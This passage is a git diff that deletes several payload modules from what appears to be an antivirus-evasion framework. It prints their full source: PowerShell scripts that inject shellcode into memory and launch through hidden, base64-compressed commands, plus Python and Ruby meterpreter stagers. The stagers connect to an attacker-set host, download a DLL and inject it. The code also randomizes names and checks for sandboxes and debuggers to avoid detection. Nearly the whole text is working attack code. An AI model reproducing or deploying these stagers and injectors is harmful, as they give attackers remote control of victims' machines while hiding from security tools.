["FALSE", "Checks for known bad mac addresses"], - "MINPROCESSES" : ["X", "Minimum number of processes running"], - "SLEEP" : ["X", "Optional: Sleep \"Y\" seconds, check if accelerated"] - } - - def psRaw(self): - - checks, num_ends = gamemaker.senecas_games(self) - - # Generate the shellcode - if not self.cli_shellcode: - Shellcode = self.shellcode.generate(self.cli_opts) - if self.shellcode.msfvenompayload: - self.payload_type = self.shellcode.msfvenompayload - elif self.shellcode.payload_choice: - self.payload_type = self.shellcode.payload_choice - self.shellcode.payload_choice = '' - # assume custom shellcode - else: - self.payload_type = 'custom' - else: - Shellcode = self.cli_shellcode - Shellcode = ",0".join(Shellcode.split("\\"))[1:] - - if self.required_options["INJECT_METHOD"][0].lower() == "virtual": - baseString = """$c = @" -[DllImport("kernel32.dll")] public static extern IntPtr VirtualAlloc(IntPtr w, uint x, uint y, uint z); -[DllImport("kernel32.dll")] public static extern IntPtr CreateThread(IntPtr u, uint v, IntPtr w, IntPtr x, uint y, IntPtr z); -[DllImport("msvcrt.dll")] public static extern IntPtr memset(IntPtr x, uint y, uint z); -[DllImport("kernel32.dll")] public static extern bool VirtualProtect(IntPtr lpAddress, uint dwSize, uint flNewProtect, out uint lpflOldProtect); -"@\n""" - baseString += checks - baseString += """$o = Add-Type -memberDefinition $c -Name "Win32" -namespace Win32Functions -passthru -$x=$o::VirtualAlloc(0,0x1000,0x3000,0x04); [Byte[]]$sc = %s; -for ($i=0;$i -le ($sc.Length-1);$i++) {$o::memset([IntPtr]($x.ToInt32()+$i), $sc[$i], 1) | out-null;} -$oldprotect = 0; -$here=$o::VirtualProtect($x, [UInt32]0x1000, [UInt32]0x20, [Ref]$oldprotect); -$z=$o::CreateThread(0,0,$x,0,0,0); Start-Sleep -Second 100000""" % (Shellcode) - - elif self.required_options["INJECT_METHOD"][0].lower() == "heap": - baseString = """$c = @" -[DllImport("kernel32.dll")] public static extern IntPtr HeapCreate(uint x, uint y, uint z); -[DllImport("kernel32.dll")] public static extern IntPtr HeapAlloc(IntPtr w, uint x, uint y); -[DllImport("kernel32.dll")] public static extern IntPtr CreateThread(IntPtr u, uint v, IntPtr w, IntPtr x, uint y, IntPtr z); -[DllImport("msvcrt.dll")] public static extern IntPtr memset(IntPtr x, uint y, uint z); -"@\n""" - baseString += checks - baseString += """$o = Add-Type -memberDefinition $c -Name "Win32" -namespace Win32Functions -passthru -[Byte[]]$sc = %s -$x=$o::HeapCreate(0x00040000,$sc.Length,0); $ct=$o::HeapAlloc($x,0x00000008,$sc.Length) -for ($i=0;$i -le ($sc.Length-1);$i++) {$o::memset([IntPtr]($ct.ToInt32()+$i), $sc[$i], 1) | out-null;} -$z=$o::CreateThread(0,0,$ct,0,0,0); Start-Sleep -Second 100000""" % (Shellcode) - - baseString += '}\n' * num_ends - return baseString - - def generate(self): - - encoded = evasion_helpers.deflate(self.psRaw()) - - payload_code = "@echo off\n" - payload_code += "if %PROCESSOR_ARCHITECTURE%==x86 (" - payload_code += "powershell.exe -NoP -NonI -W Hidden -Command \"Invoke-Expression $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$([Convert]::FromBase64String(\\\"%s\\\")))), [IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd();\"" % (encoded) - payload_code += ") else (" - payload_code += "%%WinDir%%\\syswow64\\windowspowershell\\v1.0\\powershell.exe -NoP -NonI -W Hidden -Exec Bypass -Command \"Invoke-Expression $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$([Convert]::FromBase64String(\\\"%s\\\")))), [IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd();\")" % (encoded) - - self.payload_source_code = payload_code - return diff --git a/Tools/Evasion/payloads/python/.gitignore b/Tools/Evasion/payloads/python/.gitignore deleted file mode 100644 index 0d20b64..0000000 --- a/Tools/Evasion/payloads/python/.gitignore +++ /dev/null @@ -1 +0,0 @@ -*.pyc diff --git a/Tools/Evasion/payloads/python/__init__.py b/Tools/Evasion/payloads/python/__init__.py deleted file mode 100644 index e69de29..0000000 diff --git a/Tools/Evasion/payloads/python/meterpreter/__init__.py b/Tools/Evasion/payloads/python/meterpreter/__init__.py deleted file mode 100644 index e69de29..0000000 diff --git a/Tools/Evasion/payloads/python/meterpreter/bind_tcp.py b/Tools/Evasion/payloads/python/meterpreter/bind_tcp.py deleted file mode 100644 index 1e466e3..0000000 --- a/Tools/Evasion/payloads/python/meterpreter/bind_tcp.py +++ /dev/null @@ -1,112 +0,0 @@ -""" -Custom-written pure python meterpreter/bind_tcp stager -""" - -from tools.evasion.evasion_common import evasion_helpers -from tools.evasion.evasion_common import encryption - - -class PayloadModule: - - def __init__(self, cli_obj): - - - # required options - self.description = "pure windows/meterpreter/bind_tcp stager, no shellcode" - self.rating = "Excellent" - self.name = "Pure Python Reverse TCP stager" - self.path = "python/meterpreter/bind_tcp" - self.cli_opts = cli_obj - self.payload_source_code = '' - self.language = "python" - self.extension = "py" - if cli_obj.ordnance_payload is not None: - self.payload_type = cli_obj.ordnance_payload - elif cli_obj.msfvenom is not None: - self.payload_type = cli_obj.msfvenom - elif not cli_obj.tool: - self.payload_type = '' - - # optional - # options we require user interaction for- format is {OPTION : [Value, Description]]} - self.required_options = { - "COMPILE_TO_EXE" : ["Y", "Compile to an executable"], - "RHOST" : ["", "The listen target address"], - "LPORT" : ["4444", "The listen port"], - "USE_PYHERION" : ["N", "Use the pyherion encrypter"]} - - def generate(self): - - # randomize all of the variable names used - shellCodeName = evasion_helpers.randomString() - socketName = evasion_helpers.randomString() - clientSocketName = evasion_helpers.randomString() - getDataMethodName = evasion_helpers.randomString() - fdBufName = evasion_helpers.randomString() - rcvStringName = evasion_helpers.randomString() - rcvCStringName = evasion_helpers.randomString() - - injectMethodName = evasion_helpers.randomString() - tempShellcodeName = evasion_helpers.randomString() - shellcodeBufName = evasion_helpers.randomString() - fpName = evasion_helpers.randomString() - tempCBuffer = evasion_helpers.randomString() - - - payload_code = "import struct, socket, binascii, ctypes, random, time\n" - - # socket and shellcode variables that need to be kept global - payload_code += "%s, %s = None, None\n" % (shellCodeName,socketName) - - # build the method that creates a socket, connects to the handler, - # and downloads/patches the meterpreter .dll - payload_code += "def %s():\n" %(getDataMethodName) - payload_code += "\ttry:\n" - payload_code += "\t\tglobal %s\n" %(socketName) - payload_code += "\t\tglobal %s\n" %(clientSocketName) - # build the socket and connect to the handler - payload_code += "\t\t%s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n" %(socketName) - payload_code += "\t\t%s.bind(('%s', %s))\n" %(socketName,self.required_options["RHOST"][0], str(self.required_options["LPORT"][0])) - payload_code += "\t\t%s.listen(1)\n" % (socketName) - payload_code += "\t\t%s,_ = %s.accept()\n" % (clientSocketName, socketName) - # pack the underlying socket file descriptor into a c structure - payload_code += "\t\t%s = struct.pack(' 100000: return " + tName + ".read()\n" - payload_code += '\t' * num_tabs_required + "\t\t\telse: return ''\n" - payload_code += '\t' * num_tabs_required + "\t\texcept: return " + tName + ".read()\n" - payload_code += '\t' * num_tabs_required + "\texcept urllib.request.URLError:\n" - payload_code += '\t' * num_tabs_required + "\t\treturn ''\n" - - # method to inject a reflective .dll into memory - payload_code += '\t' * num_tabs_required + "def " + injectMethodName + "(" + dataName + "):\n" - payload_code += '\t' * num_tabs_required + "\tif " + dataName + " != \"\":\n" - payload_code += '\t' * num_tabs_required + "\t\t" + byteArrayName + " = bytearray(" + dataName + ")\n" - - if self.required_options["INJECT_METHOD"][0].lower() == "virtual": - payload_code += '\t' * num_tabs_required + "\t\t" + ptrName + " = " + randctypes + ".windll.kernel32.VirtualAlloc(" + randctypes + ".c_int(0)," + randctypes + ".c_int(len(" + byteArrayName + ")), " + randctypes + ".c_int(0x3000)," + randctypes + ".c_int(0x40))\n" - payload_code += '\t' * num_tabs_required + "\t\t" + bufName + " = (" + randctypes + ".c_char * len(" + byteArrayName + ")).from_buffer(" + byteArrayName + ")\n" - payload_code += '\t' * num_tabs_required + "\t\t" + randctypes + ".windll.kernel32.RtlMoveMemory(" + randctypes + ".c_int(" + ptrName + ")," + bufName + ", " + randctypes + ".c_int(len(" + byteArrayName + ")))\n" - payload_code += '\t' * num_tabs_required + "\t\t" + handleName + " = " + randctypes + ".windll.kernel32.CreateThread(" + randctypes + ".c_int(0)," + randctypes + ".c_int(0)," + randctypes + ".c_int(" + ptrName + ")," + randctypes + ".c_int(0)," + randctypes + ".c_int(0)," + randctypes + ".pointer(" + randctypes + ".c_int(0)))\n" - payload_code += '\t' * num_tabs_required + "\t\t" + randctypes + ".windll.kernel32.WaitForSingleObject(" + randctypes + ".c_int(" + handleName + ")," + randctypes + ".c_int(-1))\n" - - # Assuming heap injection - else: - HeapVar = evasion_helpers.randomString() - - payload_code += '\t' * num_tabs_required + "\t\t" + HeapVar + ' = ' + randctypes + '.windll.kernel32.HeapCreate(' + randctypes + '.c_int(0x00040000),' + randctypes + '.c_int(len(' + byteArrayName + ') * 2),' + randctypes + '.c_int(0))\n' - payload_code += '\t' * num_tabs_required + "\t\t" + ptrName + ' = ' + randctypes + '.windll.kernel32.HeapAlloc(' + randctypes + '.c_int(' + HeapVar + '),' + randctypes + '.c_int(0x00000008),' + randctypes + '.c_int(len( ' + byteArrayName + ')))\n' - payload_code += '\t' * num_tabs_required + "\t\t" + bufName + ' = (' + randctypes + '.c_char * len(' + byteArrayName + ')).from_buffer(' + byteArrayName + ')\n' - payload_code += '\t' * num_tabs_required + "\t\t" + randctypes + '.windll.kernel32.RtlMoveMemory(' + randctypes + '.c_int(' + ptrName + '),' + bufName + ',' + randctypes + '.c_int(len(' + byteArrayName + ')))\n' - payload_code += '\t' * num_tabs_required + "\t\t" + handleName + ' = ' + randctypes + '.windll.kernel32.CreateThread(' + randctypes + '.c_int(0),' + randctypes + '.c_int(0),' + randctypes + '.c_int(' + ptrName + '),' + randctypes + '.c_int(0),' + randctypes + '.c_int(0),' + randctypes + '.pointer(' + randctypes + '.c_int(0)))\n' - payload_code += '\t' * num_tabs_required + "\t\t" + randctypes + '.windll.kernel32.WaitForSingleObject(' + randctypes + '.c_int(' + handleName + '),' + randctypes + '.c_int(-1))\n' - - # download the metpreter .dll and inject it - payload_code += '\t' * num_tabs_required + data2Name + " = ''\n" - payload_code += '\t' * num_tabs_required + data2Name + " = " + downloadMethodName + "(\"" + self.required_options["LHOST"][0] + "\", " + str(self.required_options["LPORT"][0]) + ")\n" - payload_code += '\t' * num_tabs_required + injectMethodName + "(" + data2Name + ")\n" - - if self.required_options["USE_PYHERION"][0].lower() == "y": - payload_code = encryption.pyherion(payload_code) - - self.payload_source_code = payload_code - return diff --git a/Tools/Evasion/payloads/python/meterpreter/rev_https.py b/Tools/Evasion/payloads/python/meterpreter/rev_https.py deleted file mode 100644 index 1a2f0c4..0000000 --- a/Tools/Evasion/payloads/python/meterpreter/rev_https.py +++ /dev/null @@ -1,150 +0,0 @@ -""" -Custom-written pure python meterpreter/reverse_https stager - -Module built by @harmj0y -""" - -from datetime import date -from datetime import timedelta -from tools.evasion.evasion_common import encryption -from tools.evasion.evasion_common import evasion_helpers -from tools.evasion.evasion_common import gamemaker - - -class PayloadModule: - - def __init__(self, cli_obj): - # required options - self.description = "pure windows/meterpreter/reverse_https stager, no shellcode" - self.language = "python" - self.rating = "Excellent" - self.extension = "py" - self.name = "Pure Python Reverse HTTPS stager" - self.path = "python/meterpreter/rev_https" - self.cli_opts = cli_obj - self.payload_source_code = '' - if cli_obj.ordnance_payload is not None: - self.payload_type = cli_obj.ordnance_payload - elif cli_obj.msfvenom is not None: - self.payload_type = cli_obj.msfvenom - elif not cli_obj.tool: - self.payload_type = '' - - # options we require user interaction for- format is {OPTION : [Value, Description]]} - self.required_options = { - "LHOST" : ["", "The listen target address"], - "LPORT" : ["4444", "The listen port"], - "COMPILE_TO_EXE" : ["Y", "Compile to an executable"], - "USE_PYHERION" : ["N", "Use the pyherion encrypter"], - "INJECT_METHOD" : ["Virtual", "Virtual, Void, or Heap"], - "EXPIRE_PAYLOAD" : ["X", "Optional: Payloads expire after \"Y\" days"], - "HOSTNAME" : ["X", "Optional: Required system hostname"], - "DOMAIN" : ["X", "Optional: Required internal domain"], - "PROCESSORS" : ["X", "Optional: Minimum number of processors"], - "USERNAME" : ["X", "Optional: The required user account"], - "CLICKTRACK" : ["X", "Optional: Minimum number of clicks to execute payload"], - "UTCCHECK" : ["FALSE", "Optional: Validates system does not use UTC timezone"], - "VIRTUALFILES" : ["FALSE", "Optional: Check if VM supporting files exist"], - "VIRTUALDLLS" : ["FALSE", "Check for dlls loaded in memory"], - "CURSORMOVEMENT" : ["FALSE", "Check if cursor is in same position after 30 seconds"], - "USERPROMPT" : ["FALSE", "Make user click prompt prior to execution"], - "MINRAM" : ["FALSE", "Check for at least 3 gigs of RAM"], - "SANDBOXPROCESS" : ["FALSE", "Check for common sandbox processes"], - "DETECTDEBUG" : ["FALSE", "Check if debugger is present"], - "SLEEP" : ["X", "Optional: Sleep \"Y\" seconds, check if accelerated"] - } - - def generate(self): - - # randomize everything, yo' - sumMethodName = evasion_helpers.randomString() - checkinMethodName = evasion_helpers.randomString() - - randLettersName = evasion_helpers.randomString() - randLetterSubName = evasion_helpers.randomString() - randBaseName = evasion_helpers.randomString() - - downloadMethodName = evasion_helpers.randomString() - hostName = evasion_helpers.randomString() - portName = evasion_helpers.randomString() - requestName = evasion_helpers.randomString() - tName = evasion_helpers.randomString() - - injectMethodName = evasion_helpers.randomString() - dataName = evasion_helpers.randomString() - byteArrayName = evasion_helpers.randomString() - ptrName = evasion_helpers.randomString() - bufName = evasion_helpers.randomString() - handleName = evasion_helpers.randomString() - data2Name = evasion_helpers.randomString() - proxy_var = evasion_helpers.randomString() - opener_var = evasion_helpers.randomString() - randctypes = evasion_helpers.randomString() - - # How I'm tracking the number of nested tabs needed - # to make the payload - num_tabs_required = 0 - payload_code = "import urllib.request, string, random, struct, time, ssl, ctypes as " + randctypes + "\n" - - payload_code2, num_tabs_required = gamemaker.senecas_games(self) - payload_code = payload_code + payload_code2 - - # helper method that returns the sum of all ord values in a string % 0x100 - payload_code += '\t' * num_tabs_required + "ssl._create_default_https_context = ssl._create_unverified_context\n" - payload_code += '\t' * num_tabs_required + "def %s(s): return sum([ord(ch) for ch in s]) %% 0x100\n" %(sumMethodName) - - # method that generates a new checksum value for checkin to the meterpreter handler - payload_code += '\t' * num_tabs_required + "def %s():\n" %(checkinMethodName) - payload_code += '\t' * num_tabs_required + "\tfor x in range(64):\n" - payload_code += '\t' * num_tabs_required + "\t\t%s = ''.join(random.sample(string.ascii_letters + string.digits,3))\n" %(randBaseName) - payload_code += '\t' * num_tabs_required + "\t\t%s = ''.join(sorted(list(string.ascii_letters+string.digits), key=lambda *args: random.random()))\n" %(randLettersName) - payload_code += '\t' * num_tabs_required + "\t\tfor %s in %s:\n" %(randLetterSubName, randLettersName) - payload_code += '\t' * num_tabs_required + "\t\t\tif %s(%s + %s) == 92: return %s + %s\n" %(sumMethodName, randBaseName, randLetterSubName, randBaseName, randLetterSubName) - - # method that connects to a host/port over https and downloads the hosted data - payload_code += '\t' * num_tabs_required + "def %s(%s,%s):\n" %(downloadMethodName, hostName, portName) - payload_code += '\t' * num_tabs_required + "\t" + proxy_var + " = urllib.request.ProxyHandler({})\n" - payload_code += '\t' * num_tabs_required + "\t" + opener_var + " = urllib.request.build_opener(" + proxy_var + ")\n" - payload_code += '\t' * num_tabs_required + "\turllib.request.install_opener(" + opener_var + ")\n" - payload_code += '\t' * num_tabs_required + '\t' + requestName + " = urllib.request.Request(\"https://\" + " + hostName + " + \":\" + str(" + portName + ") + \"/\" + " + checkinMethodName + "(), None, {'User-Agent' : 'Mozilla/4.0 (compatible; MSIE 6.1; Windows NT)'})\n" - payload_code += '\t' * num_tabs_required + "\ttry:\n" - payload_code += '\t' * num_tabs_required + "\t\t%s = urllib.request.urlopen(%s)\n" %(tName, requestName) - payload_code += '\t' * num_tabs_required + "\t\ttry:\n" - payload_code += '\t' * num_tabs_required + "\t\t\tif int(%s.info()[\"Content-Length\"]) > 100000: return %s.read()\n" %(tName, tName) - payload_code += '\t' * num_tabs_required + "\t\t\telse: return ''\n" - payload_code += '\t' * num_tabs_required + "\t\texcept: return %s.read()\n" % (tName) - payload_code += '\t' * num_tabs_required + "\texcept urllib.request.URLError: return ''\n" - - # method to inject a reflective .dll into memory - payload_code += '\t' * num_tabs_required + "def %s(%s):\n" %(injectMethodName, dataName) - payload_code += '\t' * num_tabs_required + "\tif %s != \"\":\n" %(dataName) - payload_code += '\t' * num_tabs_required + "\t\t%s = bytearray(%s)\n" %(byteArrayName, dataName) - - if self.required_options["INJECT_METHOD"][0].lower() == "virtual": - payload_code += '\t' * num_tabs_required + "\t\t" + ptrName + " = " + randctypes + ".windll.kernel32.VirtualAlloc(" + randctypes + ".c_int(0)," + randctypes + ".c_int(len(" + byteArrayName + ")), " + randctypes + ".c_int(0x3000)," + randctypes + ".c_int(0x40))\n" - payload_code += '\t' * num_tabs_required + "\t\t" + bufName + " = (" + randctypes + ".c_char * len(" + byteArrayName + ")).from_buffer(" + byteArrayName + ")\n" - payload_code += '\t' * num_tabs_required + "\t\t" + randctypes + ".windll.kernel32.RtlMoveMemory(" + randctypes + ".c_int(" + ptrName + ")," + bufName + ", " + randctypes + ".c_int(len(" + byteArrayName + ")))\n" - payload_code += '\t' * num_tabs_required + "\t\t" + handleName + " = " + randctypes + ".windll.kernel32.CreateThread(" + randctypes + ".c_int(0)," + randctypes + ".c_int(0)," + randctypes + ".c_int(" + ptrName + ")," + randctypes + ".c_int(0)," + randctypes + ".c_int(0)," + randctypes + ".pointer(" + randctypes + ".c_int(0)))\n" - payload_code += '\t' * num_tabs_required + "\t\t" + randctypes + ".windll.kernel32.WaitForSingleObject(" + randctypes + ".c_int(" + handleName + ")," + randctypes + ".c_int(-1))\n" - - # Assuming heap injection - else: - HeapVar = evasion_helpers.randomString() - - payload_code += '\t' * num_tabs_required + "\t\t" + HeapVar + ' = ' + randctypes + '.windll.kernel32.HeapCreate(' + randctypes + '.c_int(0x00040000),' + randctypes + '.c_int(len(' + byteArrayName + ') * 2),' + randctypes + '.c_int(0))\n' - payload_code += '\t' * num_tabs_required + "\t\t" + ptrName + ' = ' + randctypes + '.windll.kernel32.HeapAlloc(' + randctypes + '.c_int(' + HeapVar + '),' + randctypes + '.c_int(0x00000008),' + randctypes + '.c_int(len( ' + byteArrayName + ')))\n' - payload_code += '\t' * num_tabs_required + "\t\t" + bufName + ' = (' + randctypes + '.c_char * len(' + byteArrayName + ')).from_buffer(' + byteArrayName + ')\n' - payload_code += '\t' * num_tabs_required + "\t\t" + randctypes + '.windll.kernel32.RtlMoveMemory(' + randctypes + '.c_int(' + ptrName + '),' + bufName + ',' + randctypes + '.c_int(len(' + byteArrayName + ')))\n' - payload_code += '\t' * num_tabs_required + "\t\t" + handleName + ' = ' + randctypes + '.windll.kernel32.CreateThread(' + randctypes + '.c_int(0),' + randctypes + '.c_int(0),' + randctypes + '.c_int(' + ptrName + '),' + randctypes + '.c_int(0),' + randctypes + '.c_int(0),' + randctypes + '.pointer(' + randctypes + '.c_int(0)))\n' - payload_code += '\t' * num_tabs_required + "\t\t" + randctypes + '.windll.kernel32.WaitForSingleObject(' + randctypes + '.c_int(' + handleName + '),' + randctypes + '.c_int(-1))\n' - - # download the metpreter .dll and inject it - payload_code += '\t' * num_tabs_required + "%s = ''\n" %(data2Name) - payload_code += '\t' * num_tabs_required + "%s = %s(\"%s\", %s)\n" %(data2Name, downloadMethodName, self.required_options["LHOST"][0], self.required_options["LPORT"][0]) - payload_code += '\t' * num_tabs_required + "%s(%s)\n" %(injectMethodName, data2Name) - - if self.required_options["USE_PYHERION"][0].lower() == "y": - payload_code = encryption.pyherion(payload_code) - - self.payload_source_code = payload_code - return diff --git a/Tools/Evasion/payloads/python/meterpreter/rev_tcp.py b/Tools/Evasion/payloads/python/meterpreter/rev_tcp.py deleted file mode 100644 index 6a8af49..0000000 --- a/Tools/Evasion/payloads/python/meterpreter/rev_tcp.py +++ /dev/null @@ -1,148 +0,0 @@ -""" -Custom-written pure python meterpreter/reverse_tcp stager - -Module built by @harmj0y -""" - -from datetime import date -from datetime import timedelta -from tools.evasion.evasion_common import encryption -from tools.evasion.evasion_common import evasion_helpers -from tools.evasion.evasion_common import gamemaker - - -class PayloadModule: - - def __init__(self, cli_obj): - # required options - self.description = "pure windows/meterpreter/reverse_tcp stager, no shellcode" - self.language = "python" - self.extension = "py" - self.rating = "Excellent" - self.name = "Pure Python Reverse TCP Stager" - self.path = "python/meterpreter/rev_tcp" - self.cli_opts = cli_obj - self.payload_source_code = '' - if cli_obj.ordnance_payload is not None: - self.payload_type = cli_obj.ordnance_payload - elif cli_obj.msfvenom is not None: - self.payload_type = cli_obj.msfvenom - elif not cli_obj.tool: - self.payload_type = '' - - # options we require user interaction for- format is {OPTION : [Value, Description]]} - self.required_options = { - "LHOST" : ["", "The listen target address"], - "LPORT" : ["4444", "The listen port"], - "COMPILE_TO_EXE" : ["Y", "Compile to an executable"], - "USE_PYHERION" : ["N", "Use the pyherion encrypter"], - "INJECT_METHOD" : ["Virtual", "Virtual, Void, or Heap"], - "EXPIRE_PAYLOAD" : ["X", "Optional: Payloads expire after \"Y\" days"], - "HOSTNAME" : ["X", "Optional: Required system hostname"], - "DOMAIN" : ["X", "Optional: Required internal domain"], - "PROCESSORS" : ["X", "Optional: Minimum number of processors"], - "USERNAME" : ["X", "Optional: The required user account"], - "CLICKTRACK" : ["X", "Optional: Minimum number of clicks to execute payload"], - "UTCCHECK" : ["FALSE", "Optional: Validates system does not use UTC timezone"], - "VIRTUALFILES" : ["FALSE", "Optional: Check if VM supporting files exist"], - "VIRTUALDLLS" : ["FALSE", "Check for dlls loaded in memory"], - "CURSORMOVEMENT" : ["FALSE", "Check if cursor is in same position after 30 seconds"], - "USERPROMPT" : ["FALSE", "Make user click prompt prior to execution"], - "MINRAM" : ["FALSE", "Check for at least 3 gigs of RAM"], - "SANDBOXPROCESS" : ["FALSE", "Check for common sandbox processes"], - "DETECTDEBUG" : ["FALSE", "Check if debugger is present"], - "SLEEP" : ["X", "Optional: Sleep \"Y\" seconds, check if accelerated"] - } - - def generate(self): - - # randomize all of the variable names used - shellCodeName = evasion_helpers.randomString() - socketName = evasion_helpers.randomString() - getDataMethodName = evasion_helpers.randomString() - fdBufName = evasion_helpers.randomString() - rcvStringName = evasion_helpers.randomString() - rcvCStringName = evasion_helpers.randomString() - - injectMethodName = evasion_helpers.randomString() - tempShellcodeName = evasion_helpers.randomString() - shellcodeBufName = evasion_helpers.randomString() - fpName = evasion_helpers.randomString() - tempCBuffer = evasion_helpers.randomString() - randctypes = evasion_helpers.randomString() - - - payload_code = "import struct, socket, binascii, ctypes as " + randctypes + ", random, time\n" - - # How I'm tracking the number of nested tabs needed - # to make the payload - num_tabs_required = 0 - - payload_code2, num_tabs_required = gamemaker.senecas_games(self) - payload_code = payload_code + payload_code2 - - # socket and shellcode variables that need to be kept global - payload_code += '\t' * num_tabs_required + "%s, %s = None, None\n" % (shellCodeName,socketName) - - # build the method that creates a socket, connects to the handler, - # and downloads/patches the meterpreter .dll - payload_code += '\t' * num_tabs_required + "def %s():\n" %(getDataMethodName) - payload_code += '\t' * num_tabs_required + "\ttry:\n" - payload_code += '\t' * num_tabs_required + "\t\tglobal %s\n" %(socketName) - # build the socket and connect to the handler - payload_code += '\t' * num_tabs_required + "\t\t%s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n" %(socketName) - payload_code += '\t' * num_tabs_required + "\t\t%s.connect(('%s', %s))\n" %(socketName,self.required_options["LHOST"][0],self.required_options["LPORT"][0]) - # pack the underlying socket file descriptor into a c structure - payload_code += '\t' * num_tabs_required + "\t\t%s = struct.pack(' 0x1000 ? sc.length : 0x1000), 0x1000, 0x40)\n" - payload_code += "\t\tx = $" + rtlmove_random + ".call(pt,sc,sc.length)\n" - payload_code += "\t\tx = $" + waitfor_random + ".call($" + createthread_random + ".call(0,0,pt,0,0,0),0xFFFFFFF)\n" - elif self.required_options["INJECT_METHOD"][0].lower() == "heap": - payload_code += "\t\t$" + heap_name + " = $" + heapcreate_random + ".call(0x0004,(sc.length > 0x1000 ? sc.length : 0x1000), 0)\n" - payload_code += "\t\t$" + ptrName + " = $" + heapalloc_random + ".call($" + heap_name + ", 0x00000008, sc.length)\n" - payload_code += "\t\tx = $" + rtlmove_random + ".call($" + ptrName + ",sc,sc.length)\n" - payload_code += "\t\tx = $" + waitfor_random + ".call($" + createthread_random + ".call(0,0,$" + ptrName + ",0,0,0),0xFFFFFFF)\n" - - payload_code += "\tend\nend\n" - - payload_code += "uri = URI.encode(\"http://%s:%s/#{ch()}\")\n" % (self.required_options["LHOST"][0], self.required_options["LPORT"][0]) - payload_code += "uri = URI(uri)\n" - payload_code += "ij(Net::HTTP.get(uri))\n" - - # Close out all the if statements - for iteration in range(num_ends_required): - payload_code += 'end\n' - - self.payload_source_code = payload_code - return diff --git a/Tools/Evasion/payloads/ruby/meterpreter/rev_https.py b/Tools/Evasion/payloads/ruby/meterpreter/rev_https.py deleted file mode 100644 index 4d9e61d..0000000 --- a/Tools/Evasion/payloads/ruby/meterpreter/rev_https.py +++ /dev/null @@ -1,119 +0,0 @@ -""" -Custom-written pure ruby meterpreter/reverse_https stager - -TODO: better randomization - -Module built by @harmj0y -Updated by @ChrisTruncer -""" - -from datetime import date -from datetime import timedelta -from tools.evasion.evasion_common import evasion_helpers -from tools.evasion.evasion_common import gamemaker - - -class PayloadModule: - - def __init__(self, cli_obj): - # required options - self.description = "pure windows/meterpreter/reverse_https stager, no shellcode" - self.language = "ruby" - self.extension = "rb" - self.rating = "Normal" - self.name = "Pure Ruby Reverse HTTPS Stager" - self.path = "ruby/meterpreter/rev_https" - self.cli_opts = cli_obj - if cli_obj.ordnance_payload is not None: - self.payload_type = cli_obj.ordnance_payload - elif cli_obj.msfvenom is not None: - self.payload_type = cli_obj.msfvenom - elif not cli_obj.tool: - self.payload_type = '' - self.cli_shellcode = False - - # options we require user ineraction for- format is {Option : [Value, Description]]} - self.required_options = { - "LHOST" : ["", "The listen target address"], - "LPORT" : ["4444", "The listen port"], - "COMPILE_TO_EXE" : ["Y", "Compile to an executable"], - "INJECT_METHOD" : ["Virtual", "Virtual, Void, or Heap"], - "HOSTNAME" : ["X", "Optional: Only run on specified hostname"], - "DOMAIN" : ["X", "Optional: Required internal domain"], - "USERNAME" : ["X", "Optional: The required user account"], - "SLEEP" : ["X", "Optional: Sleep \"Y\" seconds, check if accelerated"] - } - - def generate(self): - payload_code = '' - - payload_code = "require 'rubygems';require 'uri';require 'win32/api';require 'net/https';require 'openssl';include Win32\n" - # Add logic for adding this line, stupid bug and I have no idea - # why this is even a problem, but ruby is dumb - if self.required_options["HOSTNAME"][0] != "X" or self.required_options["DOMAIN"][0] != "X" or self.required_options["USERNAME"][0] != "X" or self.required_options["SLEEP"][0] != "X": - pass - else: - payload_code += "exit if Object.const_defined?(:Ocra)\n" - - if self.required_options["HOSTNAME"][0] != "X" or self.required_options["DOMAIN"][0] != "X": - payload_code += 'require \'socket\'\n' - - payload_code2, num_ends_required = gamemaker.senecas_games(self) - payload_code = payload_code + payload_code2 - - # randomly generate out variable names - ptrName = evasion_helpers.randomString() - threadName = evasion_helpers.randomString() - heap_name = evasion_helpers.randomString() - valloc_random = evasion_helpers.randomString() - rtlmove_random = evasion_helpers.randomString() - createthread_random = evasion_helpers.randomString() - waitfor_random = evasion_helpers.randomString() - heapcreate_random = evasion_helpers.randomString() - heapalloc_random = evasion_helpers.randomString() - - if self.required_options["INJECT_METHOD"][0].lower() == "virtual": - payload_code += "$" + valloc_random + " = API.new('VirtualAlloc', 'IIII', 'I');$" + rtlmove_random + " = API.new('RtlMoveMemory', 'IPI', 'V');$" + createthread_random + " = API.new('CreateThread', 'IIIIIP', 'I');$" + waitfor_random + " = API.new('WaitForSingleObject', 'II', 'I')\n" - elif self.required_options["INJECT_METHOD"][0].lower() == "heap": - payload_code += "$" + heapcreate_random + " = API.new('HeapCreate', 'III', 'I');$" + heapalloc_random + " = API.new('HeapAlloc', 'III', 'I');$" + rtlmove_random + " = API.new('RtlMoveMemory', 'IPI', 'V');$" + createthread_random + " = API.new('CreateThread', 'IIIIIP', 'I');$" + waitfor_random + " = API.new('WaitForSingleObject', 'II', 'I')\n" - - payload_code += "def ch()\n" - #payload_code += "\tchk = (\"a\"..\"z\").to_a + (\"A\"..\"Z\").to_a + (\"0\"..\"9\").to_a\n" - #payload_code += "\t32.times do\n" - #payload_code += "\t\turi = chk.sample(3).join()\n" - #payload_code += "\t\tchk.sort_by {rand}.each do |x|\n" - #payload_code += "\t\t\treturn(uri + x) if (uri + x).unpack(\"C*\").inject(:+) % 0x100 == 92\n" - #payload_code += "\t\tend\n" - #payload_code += "\tend\n" - payload_code += "\treturn \"WEZf\"\n" - payload_code += "end\n" - - payload_code += "def ij(sc)\n" - payload_code += "\tif sc.length > 1000\n" - - if self.required_options["INJECT_METHOD"][0].lower() == "virtual": - payload_code += "\t\tpt = $" + valloc_random + ".call(0,(sc.length > 0x1000 ? sc.length : 0x1000), 0x1000, 0x40)\n" - payload_code += "\t\tx = $" + rtlmove_random + ".call(pt,sc,sc.length)\n" - payload_code += "\t\tx = $" + waitfor_random + ".call($" + createthread_random + ".call(0,0,pt,0,0,0),0xFFFFFFF)\n" - elif self.required_options["INJECT_METHOD"][0].lower() == "heap": - payload_code += "\t\t$" + heap_name + " = $" + heapcreate_random + ".call(0x0004,(sc.length > 